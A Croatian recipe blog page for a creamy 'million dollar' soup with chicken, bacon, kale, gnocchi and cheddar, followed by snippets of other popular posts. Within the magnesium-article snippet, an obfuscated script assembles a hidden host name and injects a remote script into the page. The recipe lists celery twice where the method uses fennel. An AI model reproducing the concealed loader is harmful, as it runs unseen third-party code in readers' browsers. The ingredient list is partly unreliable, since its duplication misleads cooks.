JUHA OD MILIJUN DOLARA




Juha od milijun dolara 



"Recepti od milijun dolara" koji su osvojili društvene mreže, ili "million dollar recipes", ne odnose se na cijenu sastojaka, već na doživljaj koji jelo pruža. Riječ je o receptima koji svojim okusima, kremastom teksturom i bogatim kombinacijama sastojaka ostavljaju dojam luksuza, odnosno vrijede kao milijun dolara ili, nama bliže – kao milijun eura.





Juha od milijun dolara 


Sastojci:

  • 1 žlica maslinova ulja
  • 1 žlica maslaca
  • 1 šalica nasjeckanog celera
  • 1 šalica nasjeckanog celera
  • 3 režnja češnjaka, sitno nasjeckana
  • 60 ml bijelog vina
  • 1,5 l pilećeg temeljca
  • 3 šalice nasjeckanog svježeg kelja
  • oko 150 g pečene slanine, izmrvljene (podijeljeno)
  • 1 žlica sojina umaka
  • 1 žličica soli
  • 1/2 žličice suhog timijana
  • 1/4 žličice papra
  • 2 šalice kuhanih pilećih prsa, natrganih
  • 225 g krumpirovih njoka
  • 250 g ribanog cheddara
  • 240 ml g vrhnja za šlag
  • prstohvat kajenskog papra
  • 3 žlice škrobnog brašna
  • 3 žlice hladne vode

Za mrvice od parmezana:

  • 1 šalica panko krušnih mrvica
  • 50 g ribanog parmezana
  • 3 žlice maslaca, otopljenog

Za luk:

  • 2 žlice maslinova ulja
  • 1 žlica maslaca
  • 2 srednje glavice slatkog luka, tanko narezane
  • prstohvat soli



Priprema:


  1. Za karamelizirani luk zagrijte maslinovo ulje i maslac u velikom loncu na srednje jakoj vatri. Dodajte luk i kuhajte 4–5 minuta uz povremeno miješanje. Umiješajte sol, smanjite vatru, poklopite i kuhajte oko 15 minuta, dok luk ne omekša. Maknite poklopac i kuhajte još oko 20 minuta, dok luk ne postane jako mekan i zlatnosmeđ. Prebacite u zdjelu i ostavite sa strane.
  2. Zagrijte pećnicu na 180 °C. Lim za pečenje obložite papirom za pečenje ili aluminijskom folijom. U zdjeli pomiješajte panko mrvice, parmezan i otopljeni maslac. Rasporedite u ravnom sloju i pecite 10–12 minuta, uz jedno miješanje, dok ne poprime zlatnu boju. Ostavite da se ohlade.
  3. U istom loncu zagrijte maslinovo ulje i maslac. Dodajte celer i komorač te pirjajte 7–8 minuta, dok ne omekšaju i lagano porumene. Dodajte češnjak i kratko popržite dok ne zamiriše, 30–60 sekundi. Ulijte bijelo vino i lagano kuhajte 1–2 minute, uz miješanje, dok se ne odvoje zapečeni dijelovi s dna.
  4. Dodajte karamelizirani luk, temeljac, kelj, 3/4 količine slanine, sojin umak, sol, timijan i papar. Pustite da zakipi, zatim smanjite vatru, poklopite i kuhajte 10–15 minuta.
  5. Maknite poklopac, umiješajte piletinu i njoke te kuhajte dok njoki ne isplivaju na površinu, 2–3 minute. Dodajte ribani sir i promiješajte. U zdjelici pomiješajte malo vruće juhe sa zagrijanim vrhnjem, zatim tu smjesu polako ulijte u juhu uz stalno miješanje. Dodajte kajenski papar.
  6. U maloj zdjeli pomiješajte škrobno brašno i vodu pa umiješajte u juhu. Kuhajte još 2–3 minute, dok se juha ne zgusne.
  7. Poslužite juhu u zdjelama, pospite ostatkom slanine i mrvicama od parmezana te odmah servirajte.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više